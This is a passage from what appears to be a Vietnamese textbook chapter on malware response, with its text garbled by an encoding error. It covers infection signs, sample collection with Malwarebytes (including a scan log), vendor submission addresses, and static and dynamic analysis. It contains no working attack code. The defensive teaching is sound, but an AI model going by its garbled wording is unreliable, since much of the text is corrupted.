C· rӸt nhiԚu dӸu hi֓u cho biԒt m֥t h֓ th֝ng b֗ nhi֑m m« Ľ֥c hӴi, dҼ֧i 

Ľ©y l¨ m֥t v¨i dӸu hi֓u thҼ֩ng thӸy:  

  DӸu hi֓u  nhi֑m Virus : 

- H֓ th֝ng tֽ Ľ֥ng shutdown hoԊc logging off  Ľ֥t ng֥t. 

- H֓ th֝ng c· ²t b֥ nh֧ hҺn b³nh thҼ֩ng. 

- T°n m֥t ֡ Ľǫa b֗ thay Ľ֡i hay kh¹ng c· thԜ truy cԀp ĽҼ֯c v¨o. 

- C§c chҼҺng tr³nh v¨ c§c file Ľ֥t nhi°n kh¹ng truy cԀp ĽҼ֯c v¨o( v² 

dֱ Task  manager, Registry Editor, Folder Options). 

- C§c chҼҺng tr³nh hoԊc file lӴ ĽҼ֯c tӴo ra. 

- LҼu lҼ֯ng mӴng trong h֓ th֝ng tŁng cao. 

- DӸu hi֓u nhi֑m Trojan : 

- M¨n h³nh tֽ dҼng c· g֯n s·ng. 

- Wall-paper cֳa m§y b֗ thay Ľ֡i.  

http://technet.microsoft.com/en-us/sysinternals/bb896642
http://technet.microsoft.com/en-us/sysinternals/bb896642
http://www.ntcore.com/exsuite.php
http://notepad-plus-plus.org/
http://www.dependencywalker.com/
http://technet.microsoft.com/en-us/sysinternals/bb842062
http://technet.microsoft.com/en-us/sysinternals/bb842062
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- M¨u sԂc cֹa s֡ Windows b֗ thay Ľ֡i. 

- Chֵc nŁng chu֥t tr§i, chu֥t phӶi b֗ ho§n Ľ֡i v֗ tr² lӾn nhau. 

- Con tr֛ chu֥t kh¹ng xuӸt hi֓n, tֽ di chuyԜn 

- N¼t Windows Start kh¹ng xuӸt hi֓n. 

- Thanh Taskbar tֽ dҼng kh¹ng xuӸt hi֓n. 

- M§y t²nh bӴn tֽ dҼng shutdown hoԊc tֽ tԂt. 

    

DӸu hi֓u nhi֑m Spyware 

- Trang web mԊc Ľ֗nh tֽ Ľ֥ng thay Ľ֡i. 

- Firewall v¨ c§c chҼҺng tr³nh Anti-Virus tֽ Ľ֥ng tԂt. 

- ņ¯n b§o mӴng nhӸp nh§y nhiԚu. 

- Kh¹ng thԜ tԂt ĽҼ֯c hԒt c§c popup windows nhӶy ra. 

- ChҼҺng tr³nh m֧i  tֽ Ľ֥ng trong mֱc Add/remove Program  

- C· 1 v¨i icon v¨ shortcuts lӴ nԄm tr°n thanh taskbar cֳa bӴn, system 

tray hoԊc tr°n desktop cֳa bӴn. 

- NguҼ chuyԜn t֧i 1 m֥t trang lӴ thay v³ l֣ 404, khi trang web kh¹ng 

t³m thӸy. 

- BӴn nhԀn cӶnh b§o li°n tֱc tַ firewall vԚ m֥t chҼҺng tr³nh  kh¹ng 

r» r¨ng hoԊc m֥t tiԒn tr³nh n¨o Ľ· c֝ gԂng truy cԀp ra Internet. 

- BӴn nhԀn ĽҼ֯c m֥t s֝ email quay tr֫ lӴi hoԊc nh³n thӸy c· m֥t s֝ 

email tֽ gֹi Ľi.  

- Tr³nh duy֓t web cֳa bӴn chӴy chԀm hҺn so v֧i b³nh thҼ֩ng. 

- C· thanh toolbar xuӸt hi֓n lӴ thҼ֩ng tr°n web-browser  

 

  Tr°n Ľ©y l¨ nhֻng dӸu hi֓u thҼ֩ng thӸy khi m§y t²nh b֗ nhi֑m 

m« Ľ֥c hӴi. Ngo¨i ra c· thԜ tham khӶo th°m c§c dӸu hi֓u kh§c tӴi c§c 

trang web vԚ bӶo mԀt, vԚ m« Ľ֥c hӴi. 

 b. Sau khi nhԀn di֓n ĽҼ֯c h֓ th֝ng b֗ nhi֑m m« Ľ֥c hӴi cӺn phӶi : 

- Khoanh v½ng xֹ lĨ (c§ch ly c§c m§y c· dӸu hi֓u nghi ng֩ nhi֑m m« 

Ľ֥c hӴi). 

- Ghi lӴi ng¨y gi֩ ph§t hi֓n m« Ľ֥c hӴi v¨ c§c thông tin liên quan. 

- ņԜ nguy°n t³nh trӴng cֳa phӺn cֵng, phӺn mԚm li°n quan ĽԒn h֓ th֝ng 

b֗ nhi֑m. 
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- X§c Ľ֗nh h֓ th֝ng b֗ nhi֑m m« Ľ֥c hӴi : 

ÅTh¹ng tin vԚ h֓ ĽiԚu h¨nh Ľang sֹ dֱng. 

Å Tr³nh duy֓t Web. 

Å Firewall. 

Å C§c tr³nh bӶo v֓ m§y hi֓n th֩i Ľ« c·. 

   Tַ Ľ· ta x§c Ľ֗nh ĽҼ֯c c§c modules, c§c tiԒn tr³nh, c§c d֗ch vֱ, c§c 

drivers, các add-on tr³nh duy֓t, phi°n bӶn h֓ ĽiԚu h¨nh é cֳa h֓ th֝ng 

c· li°n quan ĽԒn hoӴt Ľ֥ng cֳa m« Ľ֥c hӴi. Mֱc Ľ²ch thu thԀp th¹ng tin 

ĽԜ sau n¨y c· thԜ x§c Ľ֗nh ngu֟n g֝c l©y lan v¨ tӴi sao lӴi b֗ nhi֑m 

th¹ng qua Ľ©u? ņ֟ng th֩i cȈng r¨ so§t lӴi m֥t lҼ֯t xem h֓ th֝ng m³nh 

c· b֗ l֣i bӶo mԀt n¨o kh¹ng. 

 Tr°n Ľ©y l¨ nhֻng h¨nh Ľ֥ng ngҼ֩i quӶn tr֗ cӺn l¨m ngay khi h֓ th֝ng 

b֗ nhi֑m m« Ľ֥c hӴi. ThҼ֩ng th³ ngҼ֩i ph©n t²ch m« Ľ֥c hӴi ch֕ nhԀn 

ĽҼ֯c mӾu r֟i thֽc hi֓n ph©n t²ch. Tuy nhi°n Ľֵng ֫ g·c Ľ֥ ngҼ֩i l¨m 

an to¨n th¹ng tin hay m֥t quӶn tr֗ mӴng h֓ th֝ng th³ vi֓c xֹ lĨ t֝t c§c 

bҼ֧c ban ĽӺu sԐ gi¼p ²ch c¹ng vi֓c khԂc phֱc sֽ c֝ t֝t hҺn. 

3.2.2 Thu thԀp mӾu m« Ľc֥ hӴi  

Thu thԀp mӾu virus, mã Ľ֥c là quá trình tìm ra các file nhi֑m virus, các 

file nghi ng֩ nhi֑m virus trong h ֓th֝ng nhԄm mֱc Ľ²ch nghiên cֵu, 

phân tích và h֙c h֛i 

ThҼ֩ng c· rӸt nhiԚu c§ch ĽԜ c· thԜ thu thԀp mӾu, trong Ľ֟ §n n¨y 

kh¹ng n°u c§c phҼҺng ph§p ĽԜ c· thԜ lӸy ĽҼ֯c m« Ľ֥c hӴi m֥t c§ch 

chuy°n nghi֓p nhҼ x©y dֽng h֓ th֝ng honeypot gi֝ng m֥t s֝ h«ng phӺn 

mԚm di֓t virusé. HoԊc lӸy mӾu tַ kh§ch h¨ng tֽ gֹi ĽԒn, tַ c§c ngu֟n 

chia sԎ tr°n mӴng, mua tַ c§c h«ng nghi°n cֵu bӶo mԀté. 

      NԒu mu֝n tham khӶo vԚ honeypot thu thԀp m« Ľ֥c hӴi th³ c· thԜ 

tham khӶo c§c ֵng dֱng thu thԀp m« Ľ֥c hӴi nhҼ :  

http://www.honeyclient.org/trac  

http://nepenthes.carnivore.it/ 

http://sourceforge.net/projects/amunhoney/ 

 ֪ Ľ©y ta Ľֵng ֫ v¨i tr¸ l¨ m֥t system admin. Vi֓c tֽ m³nh thu thԀp 

ĽҼ֯c m« Ľ֥c hӴi tr°n ch²nh h֓ th֝ng Ľ¸i h֛i nhiԚu kinh nghi֓m, v² dֱ 

thӸy c· c§c file thֽc thi lӴ tr°n h֓ th֝ng th³ n®n n· lӴi bԄng tr³nh n®n file 
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v¨ ĽԊt mԀt khӼu sau Ľ· mang Ľi ph©n t²ch. HoԊc d½ng m֥t s֝ c¹ng cֱ 

gi§m s§t h֓ th֝ng nhҼ process ĽԜ xem c· tiԒn tr³nh n¨o lӴ kh¹ng, t³m 

c§ch xem c§i n¨o tӴo ra tiԒn tr³nh lӴ Ľ· r֟i x§c Ľ֗nh n· nԄm ֫ Ľ©u, n®n 

n· lӴi mang Ľi ph©n t²ch. 

             V² dֱ : M֥t m« Ľ֥c hӴi kh§ n֡i tiԒng Rbot, thҼ֩ng sֹ dֱng 

trong c§c cu֥c tӸn c¹ng DDoS, n· l¨ sԐ tֽ Ľ֥ng m֫ 1 port unprivilege  

tr°n m§y nӴn nh©n, tham gia v¨o m֥t k°nh tr°n IRC v¨ nghe l֓nh tַ kԎ 

tӸn c¹ng. Tַ dӸu hi֓u lҼu lҼ֯ng mӴng tŁng bӸt thҼ֩ng, ta d½ng m֥t s֝ 

phӺn mԚm kiԜm tra vԚ tiԒn tr³nh v¨ c֝ gԂng x§c Ľ֗nh con rbot Ľ· nԄm ֫ 

Ľ©u. Sau Ľ· lӸy mӾu v¨ mang Ľi ph©n t²ch.  

 Ngo¨i ra c· 1 chҼҺng tr³nh kh§ n֡i tiԒng cֳa h«ng Trenmicro l¨ phӺn 

mԚm Sicwin. 

http://www.trendmicro.com/ftp/products/sic/SIC_5.5_build_1017.zip 

PhӺn mԚm n¨y sԐ qu®t h֓ th֝ng v¨ ĽҼa ra c§c th¹ng tin vԚ h֓ th֝ng, c§c 

th¹ng tin vԚ c§c file dll lӴ do m« Ľ֥c hӴi sinh ra , c§c file exe khӶ nghi, 

sau Ľ· sԐ n®n ch¼ng lӴi th¨nh file zip, ch¼ng ta ch֕ cӺn mang file zip Ľ· 

Ľi ph©n t²ch.  

B°n cӴnh Ľ· ngҼ֩i ph©n t²ch c· thԜ sֹ dֱng chҼҺng tr³nh 

Malwarebytes Anti-Malware ĽԜ t³m c§c mӾu hi֓n th֩i c· tr°n m§y, 

chҼҺng tr³nh ngo¨i khӶ nŁng ph§t hi֓n m« Ľ֥c, c¸n c· thԜ ch֕ ra c§c 

file nghi ng֩ v¨ cӶ ĽҼ֩ng dӾn cֳa file Ľ·, ĽiԚu n¨y gi¼p qu§ tr³nh thu 

thԀp mӾu thuԀn l֯i hҺn. 

MBAM - Malwarebytes Anti-Malware l¨ phӺn mԚm di֓t Virus, 

Malware m¨ theo nhiԚu ngҼ֩i nhԀn x®t l¨ c· cҺ chԒ t³m v¨ di֓t virus rӸt 

th¹ng minh (ĽԊc bi֓t Ľ֝i v֧i c§c loӴi Malware m֧i xuӸt hi֓n cֳa Ch©u 

Ąu, M׃...). 

Nh֩ khӶ nŁng ph©n t²ch th¹ng minh ĽԜ ph§t hi֓n c§c file l©y nhi֑m, c§c 

file nghi ng֩ m¨ MBAM ĽҼ֯c sֹ dֱng l¨m c¹ng cֱ lӸy mӾu virus rӸt 

hi֓u quӶ.  

 

C§c sֹ dֱng chҼҺng tr³nh n¨y kh¹ng phֵc tӴp, ngҼ֩i ph©n t²ch thֽc 

hi֓n nhֻng bҼ֧c nhҼ sau Ľ֝i v֧i phӺn mԚm n¨y ĽԜ lӸy mӾu m« Ľ֥c. 

TӶi chҼҺng tr³nh tӴbi Ľ©y: http://download.cnet.com/3001-8022_4-

10804572.html?spi=26f02dc7e2587a24758db83309d182f5 

http://download.cnet.com/3001-8022_4-
http://download.cnet.com/3001-8022_4-
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BҼ֧c 1: NgҼ֩i ph©n t²ch thֽc hi֓n Perform full sacn (qu®t to¨n b֥ 

m§y) r֟i Ӹn Scan 

 

Hình 3-9 Giao di֓n chҼҺng tr³nh 

BҼ֧c 2 : Sau khi qu®t xong, ngҼ֩i ph©n t²ch Ӹn Ok  v¨ Ӹn Show result ( hi֓n 

ĽҼ֯c kԒt quӶ nhҼ sau: 
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Hình 3-10 : Giao di֓n kԒt quӶ 

BҼ֧c 3 NgҼ֩i thu thԀp nh³n h³nh tr°n sԐ biԒt ĽҼ֯c t°n virus Ľ« nhi֑m 

v¨o m§y. NhҼng ĽԜ nh³n r» hҺn virus nԄm ֫ ĽҼ֩ng dӾn n¨o cֳa m§y h«y 

Ӹn n¼t Save log, khi Ľ· c· h³nh sau hi֓n ra nhҼ sau:  
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Hinh 3-11: Giao di֓n ghi nhԀt kĨ 

   NgҼ֩i thu thԀp ch֙n Destop ĽԜ lҼu (save) log cֳa Mbam bԄng 

notepad. Trong h³nh t°n file log cֳa MBAM tr°n m§y :mbam - log-2011-

04-12.txt. 

   ņԒn Ľ©y ngҼ֩i thu thԀp Ľ« ho¨n th¨nh vi֓c lҼu log Mbam c· chֵa 

ĽҼ֩ng dӾn virus l©y nhi֑m nԄm tr°n destop cֳa m§y r֟i. L¼c n¨y ĽԜ gom 

mӾu, ngҼ֩i d½ng kh¹ng ĽҼ֯c Ӹn n¼t Remove tr°n giao di֓n vַa qu®t cֳa 

MBAM v³ nԒu nhӸn n¼t Ľ·, mӾu virus sԐ mӸt do MBAM ti°u di֓t (sԐ 

kh¹ng lӸy ĽҼ֯c mӾu). NgҼ֩i thu thԀp l¨m theo bҼ֧c 5 nhҼ  sau: 

BҼ֧c 5: Gom mӾu 

NgҼ֩i thu thԀp  ch֕ vi֓c ra Desktop m֫ file log MBAM l°n ĽԜ xem 

ĽҼ֩ng dӾn. M§y duymeo khi m֫ sԐ c· log cֳa MBAM nhҼ sau: (Tr²ch 

ĽoӴn log): 

 

Malwarebytes' Anti-Malware 1.50.1.1100 

www.malwarebytes.org 
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Database version: 6339 

 

Windows 5.1.2600 Service Pack 2 

Internet Explorer 6.0.2900.2180 

 

4/12/2011 11:22:32 AM 

mbam-log-2011-04-12 (11-22-31).txt 

 

Scan type: Full scan (C:\|D:\|) 

Objects scanned: 152233 

Time elapsed: 23 minute(s), 42 second(s) 

 

Memory Processes Infected: 0 

Memory Modules Infected: 0 

Registry Keys Infected: 0 

Registry Values Infected: 0 

Registry Data Items Infected: 1 

Folders Infected: 3 

Files Infected: 6 

 

Memory Processes Infected: 

(No malicious items detected) 

 

Memory Modules Infected: 

(No malicious items detected) 

 

Registry Keys Infected: 
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(No malicious items detected) 

 

Registry Values Infected: 

(No malicious items detected) 

 

Registry Data Items Infected: 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify 

(PUM.Disabled.SecurityCenter) -> Bad: (1) Good: (0) -> No action taken. 

 

Folders Infected: 

c:\RECYCLER\s-1-5-21-0243936033-3052116371-381863308-1811 (Trojan.Agent) -> No action 

taken. 

c:\RECYCLER\s-1-5-21-0243556031-888888379-781863308-1413 (Worm.AutoRun) -> No action 

taken. 

c:\RECYCLER\r-1-5-21-1482476501-1644491937-682003330-1013 (Worm.AutoRun.Gen) -> No 

action taken. 

 

Files Infected: 

c:\RECYCLER\s-1-5-21-0243936033-3052116371-381863308-1811\Desktop.ini (Trojan.Agent) -> No 

action taken. 

c:\RECYCLER\s-1-5-21-0243936033-3052116371-381863308-1811\Desktop3.rar (Trojan.Agent) -> 

No action taken. 

c:\RECYCLER\s-1-5-21-0243556031-888888379-781863308-1413\Desktop.ini (Worm.AutoRun) -> 

No action taken. 

c:\RECYCLER\s-1-5-21-0243556031-888888379-781863308-1413\Desktop2.rar (Worm.AutoRun) -> 

No action taken. 
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c:\RECYCLER\r-1-5-21-1482476501-1644491937-682003330-1013\Desktop.ini 

(Worm.AutoRun.Gen) -> No action taken. 

c:\RECYCLER\r-1-5-21-1482476501-1644491937-682003330-1013\Desktop.rar 

(Worm.AutoRun.Gen) -> No action taken. 

Nh³n v¨o m֥t s֝ ĽҼ֩ng dӾn b¹i Ľ֛,  ngҼ֩i thu thӸp sԐ  thӸy virus tr¼ ngֱ 

֫ v֗ tr² n¨o tr°n m§y. 

Lúc này ngҼ֩i thu thԀp ch֕ cӺn d½ng winrar n®n l°n v¨ gֹi l°n forum l¨ 

xong. 

C§ch n®n bԄng winrar: Khi biԒt ĽҼ֩ng dӾn cֳa virus tr¼ ngֱ, chԆng hӴn 

trên máy tính là con file.exe l©y tӴi ĽҼ֩ng dӾn C:\Documents and 

Settings\Nguyen Van A\file.exe 

th³ ch֕ vi֓c v¨o ֡ C, theo ĽҼ֩ng dӾn Ľ· nhӸp phӶi chu֥t vӴo file file.exe 

r֟i ch֙n add to "file.rar" Ľ©y l¨ ngҼ֩i thu thԀp Ľ« n®n ĽҼ֯c mӾu bԄng 

winrar. 

3.2.2 Gֹ i mӾu ĽԒn các hãng Anti-virus 

 Sau khi thu thԀp ĽҼ֯c mӾu m« Ľ֥c tr°n m§y t²nh, h֓ th֝ng, ngҼ֩i ph©n 

t²ch thu th©p ngo¨i vi֓c tֽ ph©n t²ch v¨ xֹ lĨ mӾu m¨ Ľ֥c c¸n n°n gֹi 

mӾu m« Ľ֥c Ľ· cho c§c t֡ chֵc, cho c§c c¹ng ty Antivirus. ņiԚu n¨y 

gi¼p c§c h«ng c· thԜ cԀp nhԀt ĽҼ֯c mӾu m֧i. HӺu hԒt c§c h«ng Antivirus 

ĽԚu c· ri°ng m֥t phӺn th¹ng tin Website ĽԜ cho ngҼ֩i d½ng c· thԜ gֹi 

mӾu l°n. 
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Hinh 2-12:  VirusTotal 

http://www.techsupportalert.com/content/how-report-malware-or-false-

positives-multiple-antivirus-vendors.htm 

3.2.2.1 Gֹi bԄng email 

Sau khi ngҼ֩i thu thԀp Ľ« c· mӾu, c§c bҼ֧c ĽԜ gֹi cho c§c h«ng 

Antivirus nhҼ sau:  

 

 BҼ֧c 1: Sֹ dֱng m֥t mail client khuyԒn c§o sֹ dֱng 

Thunderbird,Outlook.  

 BҼ֧c 2 :  Sֹ dֱng m֥t chҼҺng tr³nh n®n file, c· thԜ sֹ dֱng 7-Zip Ľ©y 

l¨ m֥t phӺn mԚm Free c· thԜ ĽԊt ĽҼ֯c mԀt khӼu sau khi n®n file .  

http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm
http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm


113 

 

 

Hình 3- 13: ChҼҺng tr³nh 7-zip 

 

M֥t s֝ h«ng y°u cӺu gֹi mӾu m« Ľ֥c sֹ dֱng Ľ֗nh dӴng zip v¨ k¯m theo mԀt 

khӼu, b°n cӴnh Ľ· m֥t s֝ h«ng th³ gֹi mӾu m« Ľ֥c sֹ dֱng Ľ֗nh dӴng 7z n°n 

ngҼ֩i thu thԀp n°n sֹ dֱng cӶ 2 Ľ֗nh dӴng ĽԜ gֹi mӾu. 

Gֹi email sֹ dֱng Ľ֗nh dӴng zip dӴng nhҼ sau:  
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Hinh 3-14 : gֹi email sֹ dֱng Ľ֗nh dӴng zip 

Email l¨ cֳa c§c c¹ng ty vԚ m« Ľ֥c 

v3sos@ahnlab.com;virus@arcabit.com;virus@avast.com;virus@avg.co
m;virus@avira.com;virus_submission@bitdefender.com;bkav@bkav.co
m.vn;samples@bluepointsecurity.com;clearsight.support@clearsightav.
com;malwaresubmit@avlab.comodo.com;virus@avsubmit.com;vms@d
rweb.com;malware@emcosoftware.com;submit@emsisoft.com;virus@
esafe.com;samples@escanav.com;submitvirus@fortinet.com;research
@spy-emergency.com;viruslab@f-
prot.com;labs@fsbantivirus.com;vsamples@fsecure.com;virus@orbitec
h.org;samples@ikarus.at;submit@samples.immunet.com;k7viruslab@l
abs.k7computing.com;newvirus@kaspersky.com;support@jiangmin.co
m;research@lavasoft.com;virus_research@avertlabs.com;virus@micro
point.com.cn;avsubmit@submit.microsoft.com;virus@nanoav.ru;soport
e@neotechnology.com.mx;samples@eset.com;support@noralabs.com;



115 

 

analysis@norman.no;newvirus@novirusthanks.org;virus_info@inca.co.
kr;virus@pandasecurity.com;suporte@psafe.com;kefu@360.cn;support
@rubus.co.in;newvirus@s-
cop.com;samples@sophos.com;detections@spybot.info;vlab@srnmicro
.com;avsubmit@symantec.com;trojans@moosoft.com;virus@hacksoft.
com.pe;virus@thirtyseven4.com;virus@ca.com;submit@trojanhunter.c
om;support@simplysup.com;virus@filseclab.com;malware-
cruncher@sunbelt-software.com;viruslab@hauri.co.kr;newvirus@anti-
virus.by;esupport@webroot.com;virus@zillya.com;huangruimin@kings
oft.com;lab@filemedic.com;pomoc@mks.com.pl 
 

Gֹi email Ľ֗nh dӴng 7z th³ nhҼ sau:  

 

Hình 3-15 : Giao di֓n gֹi email 

Email cֳa c§c c¹ng ty vԚ m« Ľ֥c sֹ dֱng Ľ֗nh dӴng   

support.is@cmclab.net;samples@digital-

defender.com;sample@preventon.com;support-

tech@returnil.com;info@chicalogic.com;submit@antiy.com 

 

3.2.2.2 Gֹi bԄng c§c trang trֽc tuyԒn 
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 HӺu hԒt c§c Website cֳa c§c h«ng ĽԚu c· khu vֽc cho ph®p gֹi mӾu 

lên. ņ©y l¨ m֥t c§ch gi¼p c§c h«ng AntiVirus c· th°m mӾu m֧i.  

 

Hinh  3-16 : Gֹi mӾu l°n trang Symatec 
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Hình 3-17: Gֹi mӾu l°n trang Bitdefender 

 

 

Hình 3-18 Gֹi mӾu l°n trang AVG 
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Hình 3-19: Gֹi mӾu l°n trang Avira 

3.2.3 Phân tích mӾu sֹ  d nֱg m t֥ s֝  phҼҺng ph§p 

3.2.3.1  Ph©n t²ch th¹ng tin s̭ bί m« Ľίc hͧ i  

    NgҼ֩i ph©n t²ch dֽ Ľo§n ĽԊc ĽiԜm, ph©n loӴi m« Ľ֥c hӴi, chia d¸ng, 

ĽԊt t°n bԄng c§ch xem m« hex, xem thu֥c t²nh cֳa file, k²ch thҼ֧c fileé 

hoԊc th¹ng tin ĽҺn giӶn kh§c ĽԜ ch¼ng ta tiԒn h¨nh ph©n loӴi sҺ b֥ m« 

Ľ֥c hӴi. 

   T³m kiԒm th¹ng tin: c· thԜ upload m« Ľ֥c hӴi l°n c§c trang nhҼ Virus-

total hoԊc scan bԄng c§c chҼҺng tr³nh Anti-Virus  xem ch¼ng Ľ« ĽҼ֯c 

nhԀn di֓n chҼa. NԒu m« Ľ֥c hӴi Ľ« ĽҼ֯c nhԀn di֓n, ch¼ng ta sԐ t³m kiԒm 

th°m th¹ng tin vԚ m« Ľ֥c hӴi Ľ· l¨m cҺ s֫ ĽԜ thֽc hi֓n vi֓c ph©n t²ch 

chi tiԒt. 

3.2.3.2 Phân tích thông tin chi tiΔt hoͧ t Ľίng m« Ľίc hͧ i  

Hi֓n nay c· 2 phҼҺng ph§p ph©n t²ch m« Ľ֥c hӴi ph֡ biԒn. ņ· l¨  

- Ph©n t²ch tǫnh (static analysis) 

- Ph©n t²ch Ľ֥ng (dynamic analysis) 

CӶ 2 phҼҺng ph§p ĽԚu rӸt quan tr֙ng v¨ ĽԚu c· nhֻng Ҽu nhҼ֯c ĽiԜm 

riêng 

a. Static analysis (phân tích tǫnh) 
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 Static analysis l¨ phҼҺng ph§p xem m« d֗ch ngҼ֯c ĽԜ x§c Ľ֗nh nhֻng 

h¨nh vi thֽc sֽ m« Ľ֥c hӴi n¨y sԐ l¨m g³ tr°n h֓ th֝ng m¨ kh¹ng cӺn 

phӶi chӴy n· tַ Ľ· hiԜu r» hҺn vԚ hoӴt Ľ֥ng cֳa m« Ľ֥c hӴi. 

PhҼҺng ph§p n¨y thҼ֩ng sֹ dֱng c§c c¹ng cֱ: 

- Disassembler  

- Decompiler 

 -     Source code analyzer 

 һu ĽiԜm phҼҺng ph§p ph©n t²ch tǫnh: 

- Ph©n t²ch tǫnh  c· thԜ ph§t hi֓n ra hoӴt Ľ֥ng, c§ch hoӴt Ľ֥ng cֳa 

m« Ľ֥c trong c§c trҼ֩ng h֯p kh§c nhau. 

-  Static analysis sԐ cho ch¼ng ta c§i nh³n Ľ¼ng nhӸt vԚ m֥t chҼҺng 

tr³nh. Tuy nhi°n rӸt khó  khi ch¼ng ta c· thԜ nԂm ĽҼ֯c to¨n b֥ 

hoӴt Ľ֥ng cֳa m֥t chҼҺng tr³nh, trַ c§c chҼҺng tr³nh có mã code 

nh֛. 

 NhҼ֯c ĽiԜm phҼҺng ph§p ph©n t²ch tǫnh: 

Å PhҼҺng ph§p n¨y Ľ¸i h֛i ngҼ֩i ph©n t²ch phӶi am hiԜu s©u vԚ h֓ th֝ng 

v¨ lԀp tr³nh, kh¹ng phӶi tӸt cӶ c§c m« Ľ֥c hӴi ĽԚu c· thԜ d֗ch ngҼ֯c. 

HҺn nֻa nhiԚu m« Ľ֥c hӴi ĽҼ֯c lԀp tr³nh tinh vi d½ng nhiԚu chҼҺng 

tr³nh bӶo v֓ ĽԜ ch֝ng d֗ch ngҼ֯c m« vԚ dӴng assembly. 

b. Dynamic analysis (phân tích Ľ֥ng) 

 Dynamic analysis  hay c¸n g֙i l¨ ph©n t²ch Ľ֥ng l¨ phҼҺng ph§p quan 

s§t xem m« Ľ֥c hӴi khi thֽc thi sԐ l¨m nhֻng g³, chӴy nhҼ thԒ n¨o, làm 

g³ tr°n m§y t²nh m³nh qua c§c c¹ng cֱ monitor, c§ch n¨y c· nhҼ֯c ĽiԜm 

v֧i c§c d¸ng m« Ľ֥c hӴi chӴy theo l֗ch tr³nh. Nghi°n cֵu hoӴt Ľ֥ng cֳa 

chҼҺng tr³nh bԄng c§ch thֽc thi chҼҺng tr³nh Ľ·.  

PhҼҺng ph§p n¨y thҼ֩ng sֹ dֱng c§c c¹ng cֱ: 

- Debugger 

- Function call tracer 

- Machine emulator 

- Logic analyzer 

- Network sniffer  

 һu nhҼ֯c ĽiԜm  
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 Dynamic analysis cung cӸp th¹ng tin nhanh v¨ ch²nh x§c. Tuy nhi°n 

dynamic analysis c· m֥t nhҼ֯c ĽiԜm l¨: "Nhֻng g³ thӸy ĽҼ֯c  kh¹ng 

phӶi l¨ tӸt cӶ". N·i c§ch kh§c dynamic analysis kh¹ng thԜ dֽ Ľo§n ĽҼ֯c 

nhֻng h¨nh vi cֳa chҼҺng tr³nh trong c§c ĽiԚu ki֓n "ĽԊc bi֓t" kh¹ng t֟n 

tӴi trong thֽc tԒ. C· thԜ lӸy v² dֱ v֧i c§c m« Ľ֥c hӴi chӴy theo th֩i gian, 

tֵc l¨ ֫ th֩i ĽiԜm n¨y n· hoӴt Ľ֥ng th֩i ĽiԜm kh§c n· lӴi kh¹ng hoӴt 

Ľ֥ng. 

 M֣i phҼҺng ph§p ĽԚu c· m֥t ĽԊc ĽiԜm ri°ng nhҼng khi ph©n t²ch m« 

Ľ֥c hӴi th³ ngҼ֩i ta thҼ֩ng phӶi sֹ dֱng cӶ 2 phҼҺng ph§p ĽԜ h֣ tr֯ lӾn 

nhau. 

D½ mֱc Ľ²ch ch²nh th³ gi֝ng nhau nhҼng c§c c¹ng cֱ h֣ tr֯ vi֓c ph©n 

t²ch, th֩i gian b֛ ra cֳa tַng phҼҺng ph§p l¨ kh§c nhau.         

2.2.4.1 Quan s§t h¨nh vi m« Ľ֥c hӴi (Dynamic analysis) 

NhҼ vԀy ֫ tr°n Ľ« n·i qua 2 phҼҺng ph§p ĽҼ֯c sֹ dֱng ĽԜ ph©n t²ch m« 

Ľ֥c hӴi th³ phҼҺng ph§p quan s§t h¨nh vi m« Ľ֥c hӴi ĽҼ֯c d½ng trҼ֧c. 

ņԜ quan s§t h¨nh vi m« Ľ֥c hӴi n¨y Ľ¸i h֛i thiԒt lԀp m¹i trҼ֩ng thֹ 

nghi֓m: sֹ dֱng m§y Ӷo, sandbox, vitural PC ĽԜ cho m« Ľ֥c hӴi chӴy. 

NԒu m« Ľ֥c hӴi c· cҺ chԒ ph§t hi֓n m¹i trҼ֩ng Ӷo  th³ phӶi sֹ dֱng m¹i 

trҼ֩ng thԀt Ľ« ĽҼ֯c gi֧i hӴn (trong LAN) ĽԜ thֹ nghi֓m. ThiԒt lԀp mӴng 

Internet, web, mail, c¨i ĽԊt c§c h֓ th֝ng c· l֣i nԒu m« Ľ֥c hӴi khai th§c 

l֣i tַ l֣i h֓ th֝ng. M¹i trҼ֩ng thֹ nghi֓m c¨ng ĽӺy Ľֳ, c¨ng "thԀt" th³ 

sԐ quan s§t ĽҼ֯c c¨ng nhiԚu ĽԊc ĽiԜm cֳa m« Ľ֥c hӴi. NԒu x©y dֽng 

ĽҼ֯c h֓ th֝ng m§y nhҼ m§y b֗ nhi֑m th³ c¨ng t֝t. 

 ThiԒt lԀp c§c c¹ng cֱ gi§m s§t: v³ kh¹ng thԜ quan s§t virus bԄng mԂt 

n°n  trong m¹i trҼ֩ng thֹ nghi֓m cӺn c· c§c c¹ng cֱ quan s§t chuy°n 

dֱng nhҼ:  

- File monitor. 

- Registry monitor. 

- Process monitor. 

- Network monitor. 

- C§c tool ph§t hi֓n rootkit. 

- B֥ c¹ng cֱ n¨y sԐ gi¼p ch¼ng ta quan s§t m« Ľ֥c hӴi t֝t hҺn. BԂt ĽӺu 

chӴy m« Ľ֥c hӴi v¨ quan s§t c§c th¹ng tin : 
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- KhӶo s§t processes xem c· processes lӴ n¨o Ľ§ng ng֩ kh¹ng? 

- KhӶo s§t c§c modules dllsé. xem c· gԂn v¨o c§c process h֓ th֝ng 

không? 

- KhӶo s§t registry xem c· process n¨o c½ng kh֫i Ľ֥ng v֧i h֓ ĽiԚu h¨nh 

c· key n¨o ĽҼ֯c sinh ra v¨ b֗ sֹa Ľ֡i kh¹ng? 

- KiԜm tra MD5, CRC, SHA c§c module (file) Ľang chӴy tr°n h֓ th֝ng 

xem c· b֗ m« Ľ֥c hӴi gԂn v¨o kh¹ng? 

- KhӶo s§t c§c file, c§c thҼ mֱc Ӽn ĽԜ t³m c§c file nghi ng֩. 

- KhӶo s§t c§c driver, t³m rootkit l¨m Ӽn tiԒn tr³nh, Ӽn key. 

- KhӶo s§t lҼu lҼ֯ng mӴng xem c· tŁng Ľ֥t ng֥t kh¹ng? 

- KiԜm tra xem c§c kԒt n֝i TCP/IP tr°n m§y. 

   ChӴy m« Ľ֥c hӴi v¨ ghi log, quan s§t c¨ng l©u kԒt quӶ c¨ng ch²nh x§c. 

Th¹ng thҼ֩ng m« Ľ֥c hӴi  sԐ ĽҼ֯c quan s§t cho ĽԒn khi ch¼ng kh¹ng 

